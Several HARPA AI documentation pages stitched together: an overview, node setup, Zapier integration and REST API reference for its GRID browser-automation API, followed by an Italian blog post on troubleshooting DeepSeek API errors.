[Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Browser Orchestration API [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Browser Orchestration API ========================= CONTENTS Welcome to _HARPA GRID API_, a secure and reliable solution for AI-powered Web Browser Orchestration and Workflow Automation. GRID is used for: * _Empowering teams_ with automated AI assistants. * _Cutting costs_ on repetitive tasks and backoffice workflows by automating data extraction, data entry and analysis. * _Lead generation_ via web scrapping, enrichment, personalized outreach. * _Automated data extraction_ and analysis on the web. GRID complements existing business processes and systems (CRMs, ERPs), and can be integrated in minutes via: * IFTTT systems such as Zapier, Make.com / Integromat, n8n, Microsoft Power Automate, Workato, UiPath etc. * Fast, easy-to-use, streamlined [REST API](https://harpa.ai/grid/grid-rest-api-reference) . GRID orchestrates your machine to run the tasks for you, thus handling data behind logins in a safe manner. ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Please feel free to reach out to us at [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) if you would like to discuss the HARPA GRID API for your business, security and data handling policy, or need assistance with setup and integration. This guide covers the most common use cases. For step-by-step Web Automation setup instructions, please check out our [Node Setup Guide](https://harpa.ai/grid/browser-automation-node-setup) . [\#](https://harpa.ai/grid/web-automation#web-automation-use-cases) Web Automation Use-Cases --------------------------------------------------------------------------------------------- With HARPA GRID API you can connect your Web Browser to a variety of services, such as Google Sheets, Wordpress, GMail, to automate workflows and data processing: 1. [LinkedIn Lead Generation & Data Enrichment](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment) - source leads from LinkedIn Groups, enrich data from profiles, and export to Google Sheets. 2. [Enrich your existing database](https://harpa.ai/grid/lead-database-enrichment) and store it in Google Sheets, your CRM or any other Data Base. This allows generating personalized AI-powered emails for automated outreach. 3. [Keep an Eye on Your Competitor 24/7](https://harpa.ai/grid/module-on-webpage-monitor) . Trigger a custom Make.com automation whenever a new content on the web is posted. 4. [Extract data from websites](https://harpa.ai/grid/web-search-and-scraping) and send it to Google Sheets, or convert to CSV / JSON. This is used to collect potential client emails from SERP, parse website data. 5. Set up an autonomous AI Support bot that responds to user emails based on your knowledge base. The bot can draft emails and make data-based decisions about sending responses. [\#](https://harpa.ai/grid/web-automation#how-browser-automation-works?) How Browser Automation Works? ------------------------------------------------------------------------------------------------------- HARPA provides a [Browser Extension](https://get.harpa.ai/) for your Chrome, Brave, Opera, Edge and Chromium browser. This extension comes equipped with web automation engine. You can think of HARPA Chrome Extension as a worker installed in your browser, completing assigned tasks. Each of such workers is called _a Node_. Each Node has a unique ID. You can create and run unlimited number of Nodes with HARPA, one Node per browser profile. For example, you can: * Setup multiple Nodes, one per browser profiles, * Run multiple browser instances on one device, We cover setup process in our [Node Setup Guide](https://harpa.ai/grid/browser-automation-node-setup) . ### [\#](https://harpa.ai/grid/web-automation#benefits-of-browser-automation) Benefits of Browser Automation Your HARPA Node can do a host of AI-powered time saving workflow automations, specifically, every Node can: * Scrape webpage data, extracting full page content, markdown, or text content by specific CSS, XPath or text selectors, * Launch one of the 100+ built-in AI Commands or your custom web automation scenarios on any webpage, * Search for data, returning links, titles, emails, contact details. HARPA can also send triggers or execute IFTTT actions in Make.com, Zapier, n8n, Microsoft Power Automate, Workato, UiPath etc. react to updates in web page content, or send data to external services. ### [\#](https://harpa.ai/grid/web-automation#web-automation-requirements) Web Automation Requirements To run HARPA GRID, you need: * a Chromium based browser and * a stable Internet connection. If you can browse the Internet, you can use HARPA to automate tasks. Tasks launched by HARPA run in separate browser tab. HARPA uses minimal system resources, and does not consume any while no task is run. ### [\#](https://harpa.ai/grid/web-automation#supported-ai-connections) Supported AI Connections HARPA Grid uses your default AI connection: OpenAI's GPT-5.4, GPT-5 Nano, Anthropic's Claude Haiku 4.5, Sonnet 4.6, Opus 4.6 and your own API connections. You can switch between connections in your automations commands mid-run using [Connection Flags](https://harpa.ai/guides/using-flags) or AI CONNECTION steps. Please check out our [Node Setup Guide](https://harpa.ai/grid/browser-automation-node-setup) for more information on setting your first web automation agent. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/browser-automation-node-setup) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Browser Automation Node Setup [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Browser Automation Node Setup ============================= CONTENTS [\#](https://harpa.ai/grid/browser-automation-node-setup#how-to-automate-your-web-browser) How to Automate Your Web Browser ---------------------------------------------------------------------------------------------------------------------------- To automate your Browser, please install the official [HARPA AI Chrome Extension](https://get.harpa.ai/) . This Chrome Extension is published in and approved by the Chrome Web Store team, and is compatible with Chrome, Brave, Opera, Edge and Chromium browsers. The next step is to activate the GRID Automation Node in your HARPA Chrome Extension: * Open HARPA AI on any webpage by pressing _Alt+A_ or _^A_ (on Mac), * Locate _AUTOMATE tab_ at the top of the HARPA Extension Window, click it, then turn on _Remote-Control Browser_ option, * Click _CREATE NEW KEY_ button to create your API Key. ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) For security reasons, your API Key is only displayed once. Please store your Key in a safe place. You can always revoke or generate a new API Key if needed. API Key grants remote access to the Nodes on your own [HARPA Team Space](https://harpa.ai/guides/team-spaces) . You can find your Node ID under _Advanced Settings_. Node ID is used to select which Node will run the task if you intend to orchestrate multiple web automation nodes. ![](https://harpa.ai/img/grid/harpa-grid-2.webp) Once enabled, your Node is ready to handle web automation tasks. You can now connect your Node to external services like Zapier, n8n, Make.com, or your custom backend API. ### [\#](https://harpa.ai/grid/browser-automation-node-setup#automating-actions-on-your-node) Automating Actions on Your Node HARPA GRID API accepts REST API requests and provides official integration with Make.com IFTTT service. The most intuitive way to call your HARPA GRID Node is use one of the official automation modules in Make.com: * Search The Web * Scrape Web Page * Run AI Command Please check out the [Make.com Setup guide](https://harpa.ai/grid/make-com-harpa-grid-setup-basics) for more details. You can also call your Node directly via REST API, from any programming language or service that supports HTTP requests, Terminal app, Zapier, n8n, or any other IFTTT service. This is explained in details in the [REST API Reference Guide](https://harpa.ai/grid/grid-rest-api-reference) . Check the _TERMINAL_ and _OTHER_ tabs for key information on how to structure your JSON Request body. ![](https://harpa.ai/img/grid/harpa-grid-3.webp) ### [\#](https://harpa.ai/grid/browser-automation-node-setup#automation-nodes-capability-limits) Automation Nodes Capability Limits The actual Node limit you can employ in HARPA depend on your computers' ability to handle multiple browser tabs. A single Node can run dozens of tasks simultaneously - opening browser tabs, performing searches, or executing AI commands in parallel. You can set up multiple Browser Profiles to run multiple Nodes in parallel with different set of cookies, cache, and browser extensions. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/web-automation) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/grid-rest-api-reference) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Zapier Web Automation with HARPA [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Zapier Web Automation with HARPA ================================ CONTENTS ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Contact us at [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) for assistance with HARPA GRID API setup, integration, or to discuss your business needs. [\#](https://harpa.ai/grid/zapier-integration#zapier-web-automation-with-harpa) Zapier Web Automation with HARPA ----------------------------------------------------------------------------------------------------------------- Zapier lets you connect HARPA GRID with popular tools like Slack, Google Drive, Hunter.io, GoogleSheets, Hubspot, Airtable, and Mailgun. This allows you to create no-code marketing workflows, web scraping systems, data enrichment, and lead generation processes. You can check out Zapier/HARPA integration here: [https://zapier.com/developer/public-invite/222245/f13726c54955182d769d3a7c43148898/](https://zapier.com/developer/public-invite/222245/f13726c54955182d769d3a7c43148898/) ### [\#](https://harpa.ai/grid/zapier-integration#harpa-grid-triggers) HARPA GRID Triggers Zapier has built-in Catch Hooks modules that you can use to trigger your workflows: ![](https://harpa.ai/img/grid/zapier-integration-01.webp) You can add the following step to generate a Webhook URL and insert it into HARPA in your AI Command (REQUEST step): ![](https://harpa.ai/img/grid/zapier-integration-02.webp) Or HARPA Web Monitor under Actions and Integrations menu: ![](https://harpa.ai/img/grid/zapier-integration-03.webp) [\#](https://harpa.ai/grid/zapier-integration#zapier-&-harpa-grid-use-cases) Zapier & HARPA GRID Use Cases ----------------------------------------------------------------------------------------------------------- Please feel free to contact us at _[\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) _ if you have any questions about your AI automation or need help setting up browser automation with HARPA GRID and Zapier. We recommend checking out the Make.com guides, which contain several business automation use-cases that can be easily adapted to Zapier: 1. [AI-Driven Email Outreach Campaign](https://harpa.ai/grid/email-outreach-campaign) - Works with Gmail, Fastmail, Outlook or any email service. Uses your existing name-email database and enriches it to create personalized outreach emails for each recipient. 2. [Auto-Draft Support Email Replies](https://harpa.ai/grid/auto-draft-support-email-replies) - Reduces time spent writing repetitive support emails. Takes 5 minutes to set up and cuts response time by 80%. Just add your common email replies to HARPA once. The bot then works 24/7 creating email response drafts. 3. [Database Enrichment](https://harpa.ai/grid/lead-database-enrichment) - HARPA GRID allows for leads segmentation which in turn increases response rates with personalized targeting. 4. [Leads Research](https://harpa.ai/grid/web-search-and-scraping) - Helps reliably search for B2B leads in any industry in your location, making your procurement process smoother and more cost-effective. 5. [LinkedIn Leads Parsing](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment) - Great for finding top talent or sales trends in LinkedIn and running personalized outreach campaigns. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/boost-space-connection-guide) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/zapier-wordpress-draft-generation) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | REST API Reference [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) REST API Reference ================== CONTENTS [\#](https://harpa.ai/grid/grid-rest-api-reference#base-url) Base URL ---------------------------------------------------------------------- HARPA GRID accepts POST requests at: https://api.harpa.ai/api/v1/grid [\#](https://harpa.ai/grid/grid-rest-api-reference#authentication-header) Authentication Header ------------------------------------------------------------------------------------------------ All API requests require authentication using an API key in the Authorization header. Authorization: Bearer $HARPA_API_KEY You can get your API key from the [HARPA AI Chrome Extension](https://get.harpa.ai/) , under the AUTOMATE tab. Please find more instructions in the [Node Setup Guide](https://harpa.ai/grid/browser-automation-node-setup) . [\#](https://harpa.ai/grid/grid-rest-api-reference#send-action-endpoint) Send Action Endpoint ---------------------------------------------------------------------------------------------- Sending web browser automation actions to your Node is done via the _/grid_ endpoint. **Endpoint**: `/grid` **Method**: `POST` **Content-Type**: `application/json` ### [\#](https://harpa.ai/grid/grid-rest-api-reference#request-structure) Request Structure The request body must be sent as a JSON object string. Here is the combined structure for all types of actions: { "action": "", "url": "", "query": "", "name": "", "inputs": [\ ""\ ], "resultParam": "", "grab": [\ {\ "selector": "",\ "selectorType": "",\ "at": "",\ "take": "",\ "label": ""\ }\ ], "node": "", "resultsWebhook": "", "timeout": "", "connection": "", "prompt": "" } ### [\#](https://harpa.ai/grid/grid-rest-api-reference#parameters) Parameters * _action_ — Required. Specify the action your Node has to perform (e.g., "**scrape**", "**serp**", "**command**", "**prompt**"). * _url_ — Optional. The starting page URL to open in Node before running the action. For the **scrape** action this is the page to be scraped. For the **command** action, this is the page to run the AI command over. For the **prompt** action, this is the page to analyze with AI. Ignored by the **serp** and **ping** actions. * _query_ — Optional. The search term or a query string to search for. Only used by the **serp** action. Supports search parameters like **site:example.com** or **intitle:keyword**. * _name_ — Optional. A command name to execute such as **Summary**. Only used by the **command** action. Supports both the built-in and custom commands. * _inputs_ — Optional. An array of Strings, each one passed down into command in place of the user input. Inputs are used to bypass waiting for the user input in multi-step commands. For example **\[ "REPORT", "DONE" \]** for the **Summary** command. Only used by the **command** action. * _resultParam_ — Optional. A HARPA **{{parameter}}** to interpret as the command result. Only used by the **command** action. By default is set to **"message"** to take the last chat message. Supports dot notation, e.g. **"g.data.email"**. Refer to [AI Commands Guide](https://harpa.ai/chatml/overview) for more details. * _grab_ — Optional. An array of HTML Element selectors to scrape from the page. Only used by the **scrape** action. Refer to the **Scraping Web Page Elements and Data** section for more details. * _node_ — Optional. A target Node ID which should run the command. If omitted, the first available Node will be used. You can pass a single Node ID (such as **"r2d2"**), multiple Node IDs (such as **"r2d2 c3po pqtx"**), or a number (such as **"5"**) to run action over the first **N** available Nodes. Applies to all actions including **prompt**. * _timeout_ — Optional. Synchronous action execution timeout. Default and max value is **300000** (5 minutes). HARPA GRID API does not return a timeout error. Instead it waits for Nodes to complete the action in the given timeout, and returns the results in a single array. * _resultsWebhook_ — Optional. An asynchronous webhook URL to send the results to upon completion. If provided, HARPA GRID API will maintain the action for 30 days. Each specified Node which goes live during the timeframe will receive the action request, and report result to the webhook URL. Asynchronous actions are preferred for long running tasks, or if your Node (PCs / Mac) goes offline frequently. * _connection_ — Optional. The title or ID of AI connection to use for AI actions. Used by both **command** and **prompt** actions. If not specified or connection not found, default connection is used. * _prompt_ — Required. The AI prompt text to execute. Only used by the **prompt** action. Required when using prompt action. [\#](https://harpa.ai/grid/grid-rest-api-reference#available-actions) Available Actions ---------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/grid/grid-rest-api-reference#web-page-scraping) Web Page Scraping Action: _scrape_. The scrape action allows using your Browser to extract data from web pages, even from the web systems behind logins (your browser has to be logged in). Scrape action can yield the entire page content in markdown format, or content of specific HTML elements. ### [\#](https://harpa.ai/grid/grid-rest-api-reference#full-page-scraping) Full Page Scraping To scrape the full page content in markdown format, skip the **grab** parameter: { "action": "scrape", "url": "https://harpa.ai/blog", "node": "r2d2", "resultsWebhook": "https://webhook.site/240776d5-dee7-44c5-b7c3-6d2b6d7bbae5", "timeout": "15000" } ### [\#](https://harpa.ai/grid/grid-rest-api-reference#targeted-element-scraping) Targeted Element Scraping To scrape specific elements, provide the **grab** parameter with an array of items: { "action": "scrape", "url": "https://harpa.ai/blog", "grab": [\ {\ "selector": ".PostList__postTitle",\ "selectorType": "auto",\ "at": "all",\ "take": "innerText",\ "label": "data"\ }\ ], "node": "r2d2", "timeout": "15000" } ### [\#](https://harpa.ai/grid/grid-rest-api-reference#scraping-web-page-elements-and-data) Scraping Web Page Elements and Data The **grab** parameter specifies what HTML elements to grab from the Web page. It is passed in a form of item array, each item having the following fields: * _selector_ — Required. CSS, XPath, or Text content selector to target specific elements. Examples: **".PostList\_\_postTitle"**, **"//h2"**, **"h2"**. * _selectorType_ — Optional. Type of selector to use. Default is **"auto"**. Options: **"auto"**, **"css"**, **"xpath"**, **"text"**. * _at_ — Optional. Position of an element to capture. Default is **"first"**. Options: **"all"**, **"first"**, **"last"**, Number (e.g., **0**, **\-1**). If **"all"** is used, the result will be an array of all matched elements. * _take_ — Optional. Type of data to extract. Default is **"innerText"**. Options: **"innerText"**, **"textContent"**, **"id"**, **"className"**, **"nodeName"**, **"nodeType"**, **"attributes"**, **"styles"**, **"innerHTML"**, **"outerHTML"**, **"value"**, **"href"**, **"\[attributeName\]"**, **"(styleName)"**. * _label_ — Optional. Custom label for the extracted data in results payload. Default is **"data"**. ### [\#](https://harpa.ai/grid/grid-rest-api-reference#search-the-web) Search the Web Action: _serp_. Example Request Body: { "action": "serp", "query": "HARPA AI use cases", "node": "r2d2", "resultsWebhook": "https://webhook.site/240776d5-dee7-44c5-b7c3-6d2b6d7bbae5", "timeout": "15000" } ### [\#](https://harpa.ai/grid/grid-rest-api-reference#run-ai-command) Run AI Command Action: _command_. Example Request Body: { "action": "command", "url": "https://harpa.ai/blog", "name": "Extract data", "inputs": "List of the latest 3 blog posts with two columns: Title and Description", "connection": "HARPA AI", "node": "r2d2", "resultParam": "message", "resultsWebhook": "https://webhook.site/240776d5-dee7-44c5-b7c3-6d2b6d7bbae5", "timeout": "15000" } ### [\#](https://harpa.ai/grid/grid-rest-api-reference#run-ai-prompt) Run AI Prompt Action: _prompt_. Example Request Body: { "action": "prompt", "url": "https://harpa.ai/", "connection": "CHAT AUTO", "prompt": "Analyze the current page and provide a brief summary. Webpage: {{page}}", "node": "r2d2", "resultsWebhook": "https://webhook.site/240776d5-dee7-44c5-b7c3-6d2b6d7bbae5", "timeout": "30000" } [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/browser-automation-node-setup) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/make-com-harpa-grid-setup-basics) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | DeepSeek API non Funziona. Problemi Comuni e Soluzioni. [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) DeepSeek API non Funziona. Problemi Comuni e Soluzioni. ======================================================= OUTLINE NAVIGATE [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#connessione-stabile-e-privata-a-deepseek-tramite-harpa) Connessione Stabile e Privata a DeepSeek tramite HARPA --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Per gli utenti che riscontrano problemi continui o che sono preoccupati per i propri dati personali, HARPA AI offre una soluzione basata sul cloud. Questo servizio bypassa i limiti dell'hardware locale e il sovraccarico dei server, garantendoti un accesso ininterrotto a DeepSeek AI. Con una singola sottoscrizione HARPA S, ottieni l'accesso a DeepSeek, OpenAI, Claude, Llama e altri modelli con una disponibilità del 99,9%. ![](https://harpa.ai/img/blog/deepseek-server-busy-02.webp) HARPA ti consente di utilizzare qualsiasi IA su qualsiasi sito web senza restrizioni geografiche, grazie all'hosting di terze parti che è indipendente dai server di DeepSeek. [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#risoluzione-dei-problemi-passo-per-passo-per-l'api-di-deepseek) Risoluzione dei Problemi Passo per Passo per l'API di DeepSeek ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#1.-verifica-lo-stato-del-server) 1\. Verifica lo Stato del Server Visita la [pagina ufficiale dello stato](https://status.deepseek.com/) per controllare se interruzioni generalizzate o picchi di traffico stanno causando il problema. Se il problema proviene dal server, qui troverai aggiornamenti in tempo reale. ![](https://harpa.ai/img/blog/deepseek-server-busy-01.webp) ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#2.-controlla-la-tua-connessione-internet) 2\. Controlla la Tua Connessione Internet Esamina la stabilità della tua rete accedendo ad altri siti web. Una connessione debole o intermittente potrebbe causare rallentamenti nella risposta dell’API. Considera di riavviare il router o di passare a una rete più affidabile per testare la connessione. Risorse per testare la qualità della connessione: * [https://www.speedtest.net/](https://www.speedtest.net/) * [https://fast.com/](https://fast.com/) * [https://www.speedcheck.org/](https://www.speedcheck.org/) ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#3.-verifica-la-chiave-api-e-l%E2%80%99autenticazione) 3\. Verifica la Chiave API e l’Autenticazione Assicurati che la tua chiave API sia attiva, formattata correttamente e integrata correttamente nel tuo codice. [Controlla nuovamente le credenziali](https://platform.deepseek.com/api_keys) e, se necessario, rigenera una nuova chiave API per risolvere eventuali problemi di autenticazione. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#4.-consulta-la-documentazione-dell%E2%80%99api) 4\. Consulta la Documentazione dell’API Consulta la [documentazione più recente dell’API](https://api-docs.deepseek.com/) per verificare di utilizzare l’endpoint corretto, i parametri di richiesta appropriati e il giusto formato dei dati. Gli aggiornamenti nella documentazione potrebbero richiedere aggiustamenti alla tua implementazione e alla struttura del codice. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#5.-ottimizza-i-payload-e-le-query) 5\. Ottimizza i Payload e le Query Riduci la dimensione dei dati inviati nelle richieste all’API. Semplifica query eccessivamente complesse utilizzando la paginazione, filtri efficaci o strategie di compressione dati per garantire un’elaborazione più efficiente e risposte più rapide. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#6.-monitora-i-limiti-di-richiesta-dell%E2%80%99api) 6\. Monitora i Limiti di Richiesta dell’API Controlla regolarmente il [numero di richieste consentite in un determinato periodo di tempo](https://api-docs.deepseek.com/quick_start/rate_limit) . Implementa strategie robuste di rate limiting per evitare di superare questi limiti, il che potrebbe portare a risposte rallentate o errori. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#7.-disabilita-temporaneamente-firewall-o-vpn) 7\. Disabilita Temporaneamente Firewall o VPN Disabilita temporaneamente le impostazioni del firewall o le configurazioni VPN che potrebbero bloccare involontariamente le chiamate API. Se l’API funziona correttamente dopo questi aggiustamenti, considera di inserire gli endpoint API di DeepSeek nella lista bianca per mantenere un accesso ininterrotto. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#9.-esegui-un-test-con-un-esempio-minimo) 9\. Esegui un Test con un Esempio Minimo Semplifica la tua richiesta iniziando con una chiamata API minima. Aggiungi gradualmente ulteriori parametri per identificare quando iniziano a verificarsi errori o problemi di performance, assicurando così che la risoluzione dei problemi sia mirata e metodica. [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#codici-di-errore-dell%E2%80%99api-di-deepseek-e-le-loro-soluzioni) Codici di Errore dell’API di DeepSeek e le Loro Soluzioni ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#codici-di-errore-comuni) Codici di Errore Comuni * **400 - Formato Non Valido:** Il formato del corpo della richiesta non è corretto. Modifica il formato della richiesta secondo la documentazione ufficiale dell’API per assicurare la compatibilità. * **401 - Non Autorizzato:** Questo errore indica che la chiave API manca o è errata. Verifica che la tua chiave sia valida, aggiornata e correttamente incorporata nelle tue chiamate API. * **402 - Saldo Insufficiente:** È possibile che il tuo account abbia raggiunto il limite di utilizzo. Controlla il saldo del tuo account e ricarica, se necessario, per continuare a effettuare richieste API senza interruzioni. * **422 - Parametri Non Validi:** Errori nei parametri forniti possono portare a questo codice. Verifica che ogni parametro rispetti il tipo di dato e il formato richiesti come specificato nella documentazione. * **429 - Limite di Richiesta Raggiunto:** Effettuare troppe richieste in un breve intervallo di tempo può scatenare questo errore. Riduci il numero di richieste e considera un piano di livello superiore per soddisfare un aumento della domanda. * **500 - Errore del Server:** Errore lato server che suggerisce un problema nell'elaborazione da parte di DeepSeek. Attendi qualche istante e riprova la richiesta, oppure contatta il supporto se il problema persiste. * **503 - Server Sovraccarico:** Questo errore si verifica durante periodi di traffico eccezionalmente elevato. È consigliabile attendere e riprovare la richiesta in un secondo momento, permettendo così al server di riprendersi dal sovraccarico. [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#domande-frequenti) Domande Frequenti ------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#perch%C3%A9-l'api-di-deepseek-risponde-lentamente?) Perché l'API di DeepSeek risponde lentamente? Diversi fattori possono causare risposte lente, inclusi elevato carico del server, query complesse, payload di grandi dimensioni e problemi di connettività. Ottimizzare queste aree spesso porta a prestazioni migliorate. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#cosa-devo-fare-se-la-mia-chiave-api-fallisce-nell'autenticazione?) Cosa devo fare se la mia chiave API fallisce nell'autenticazione? Innanzitutto, assicurati che la chiave API sia inserita correttamente e non sia scaduta. Se il problema persiste, rigenera una nuova chiave tramite la dashboard di DeepSeek e aggiorna la tua implementazione di conseguenza. ### [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#come-posso-verificare-se-i-server-di-deepseek-sono-inattivi-o-sovraccarichi?) Come posso verificare se i server di DeepSeek sono inattivi o sovraccarichi? Consulta la pagina ufficiale dello stato per aggiornamenti in tempo reale sulla salute dei server. In caso di interruzione o sovraccarico confermato, è consigliabile attendere che il problema venga risolto prima di effettuare ulteriori richieste. [\#](https://harpa.ai/blog/deepseek-api-not-working-italian#altre-guide-per-la-risoluzione-dei-problemi) Altre Guide per la Risoluzione dei Problemi ----------------------------------------------------------------------------------------------------------------------------------------------------- * [Come Risolvere il Problema delle Troppe Risposte di ChatGPT in 1 Ora](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [Come Risolvere il Problema "ChatGPT è al Momento a Capacità"](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [Come Risolvere l'Errore Interno del Server di ChatGPT](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [Come Risolvere l'Errore 1020 di ChatGPT](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [Come Risolvere il Problema dei Plugin di ChatGPT che non Compaiono](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [Verifica del Numero di Telefono via SMS per ChatGPT](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [Verifica del Numero di Telefono via SMS per ClaudeAI](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/no-cost-wordpress-automation-italian) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix-italian) Contact us Name \* Email \* Message \* 